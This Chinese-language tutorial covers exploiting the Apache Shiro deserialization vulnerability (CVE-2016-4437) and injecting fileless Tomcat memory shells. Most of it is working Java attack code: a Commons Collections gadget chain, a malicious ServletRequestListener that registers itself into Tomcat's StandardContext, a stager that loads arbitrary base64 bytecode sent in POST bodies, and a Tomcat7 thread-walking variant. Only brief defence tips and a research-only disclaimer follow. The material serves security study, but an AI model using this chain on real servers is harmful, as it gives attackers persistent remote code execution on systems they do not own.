Shiro反序列化与Tomcat内存马注入学习
字数 1021 2025-08-05 08:19:26
Shiro反序列化与Tomcat内存马注入技术研究
1. 漏洞概述
Shiro反序列化漏洞(CVE-2016-4437)是一个经典的Java反序列化漏洞,自2016年披露以来仍广泛存在于各类老旧系统中。本文详细分析该漏洞原理,并结合Tomcat内存马注入技术,提供完整的利用链和解决方案。
2. 利用链分析
2.1 CommonsCollectionsK1_1利用链
该利用链基于Apache Commons Collections库,核心原理如下:
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_bytecodes",new byte[][] {code});
setFieldValue(obj,"_name","");
setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
InstantiateTransformer i = new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { obj }
);
Map originalMap = new HashMap();
Map decoratedMap = LazyMap.decorate(originalMap, i);
Map fakedecoratedMap = LazyMap.decorate(originalMap, new ConstantTransformer("1"));
TiedMapEntry tme = new TiedMapEntry(fakedecoratedMap, TrAXFilter.class);
Map enterpointMap = new HashMap();
enterpointMap.put(tme, "valuevalue");
decoratedMap.clear();
setFieldValue(tme,"map",decoratedMap);
关键点:
- 使用
TemplatesImpl加载恶意字节码 - 通过
InstantiateTransformer触发实例化 - 利用
TiedMapEntry和LazyMap构造反序列化链
3. Tomcat内存马注入技术
3.1 Tomcat三种内存马类型
- Listener型:通过实现
ServletRequestListener接口 - Filter型:通过添加恶意Filter
- Servlet型:通过添加恶意Servlet
3.2 获取StandardContext的方法
- 从JSP变量获取:不适用于无文件落地场景
- 从线程获取:适用于Tomcat8/9
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext(); - 从JMX MBeanServer获取:适用于特定环境
3.3 与Shiro反序列化结合
构造一个既继承AbstractTranslet又实现ServletRequestListener的类:
public class Init extends AbstractTranslet implements ServletRequestListener {
public void transform(DOM document, SerializationHandler[] handlers) {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
public Init() throws Exception {
super();
super.namesArray = new String[]{"ccdr4gon"};
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
standardCtx.addApplicationEventListener(this);
}
@Override public void requestDestroyed(ServletRequestEvent sre) {}
@Override
public void requestInitialized(ServletRequestEvent sre) {
// 恶意代码执行逻辑
}
}
3.4 解决Request Header Too Large问题
当恶意代码过长时,Tomcat会报"header too large"错误。解决方案:
- 修改maxHeaderSize:需要多个连接同时访问
- 使用POST Body传递代码(推荐):
public void requestInitialized(ServletRequestEvent sre) {
try {
RequestFacade requestfacade = (RequestFacade) sre.getServletRequest();
Field field = requestfacade.getClass().getDeclaredField("request");
field.setAccessible(true);
Request request = (Request) field.get(requestfacade);
if (request.getParameter("stage").equals("init")) {
StringBuilder sb = new StringBuilder("");
BufferedReader br = request.getReader();
String str;
while ((str = br.readLine()) != null) {
sb.append(str);
}
byte[] payload = Base64.getDecoder().decode(sb.toString());
Method defineClass = Class.forName("java.lang.ClassLoader")
.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(
Thread.currentThread().getContextClassLoader(),
payload, 0, payload.length
);
clazz.newInstance();
}
} catch (Exception ignored){}
}
4. Tomcat7特殊处理
在Tomcat7中,获取StandardContext的方式不同:
public class T7 extends AbstractTranslet implements ServletRequestListener {
// 辅助方法
public Object G(Object o, String s) throws Exception {
Field f = o.getClass().getDeclaredField(s);
f.setAccessible(true);
return f.get(o);
}
public T7() {
try {
Object o = new Object();
Thread[] g = (Thread[]) G(Thread.currentThread().getThreadGroup(), "threads");
for (int i = 0; i < g.length; i++) {
Thread t = g[i];
if (t != null && t.getName().contains("Backg")) {
o = G(G(t, "target"), "this$0");
}
}
Field f = Class.forName("org.apache.catalina.core.ContainerBase")
.getDeclaredField("children");
f.setAccessible(true);
HashMap<String,Object> p = (HashMap) f.get(o);
for (Map.Entry l : p.entrySet()) {
HashMap<String,Object> k = (HashMap) f.get(l.getValue());
for (Map.Entry j : k.entrySet()){
((StandardContext)j.getValue()).addApplicationEventListener(this);
}
}
} catch (Exception i) {}
}
// requestInitialized方法同上
}
5. 工具与防御
5.1 工具链接
作者提供的工具已开源:Dr4gonSword
5.2 防御措施
- 升级Shiro至最新版本
- 使用安全的rememberMe密钥
- 禁用不必要的反序列化功能
- 部署RASP防护
6. 总结
本文详细分析了Shiro反序列化漏洞与Tomcat内存马注入的结合利用技术,重点解决了在不同Tomcat版本下的实现差异和请求头大小限制问题。通过构造特殊的恶意类,实现了无文件落地的持久化控制能力。该技术仅供安全研究使用,请勿用于非法用途。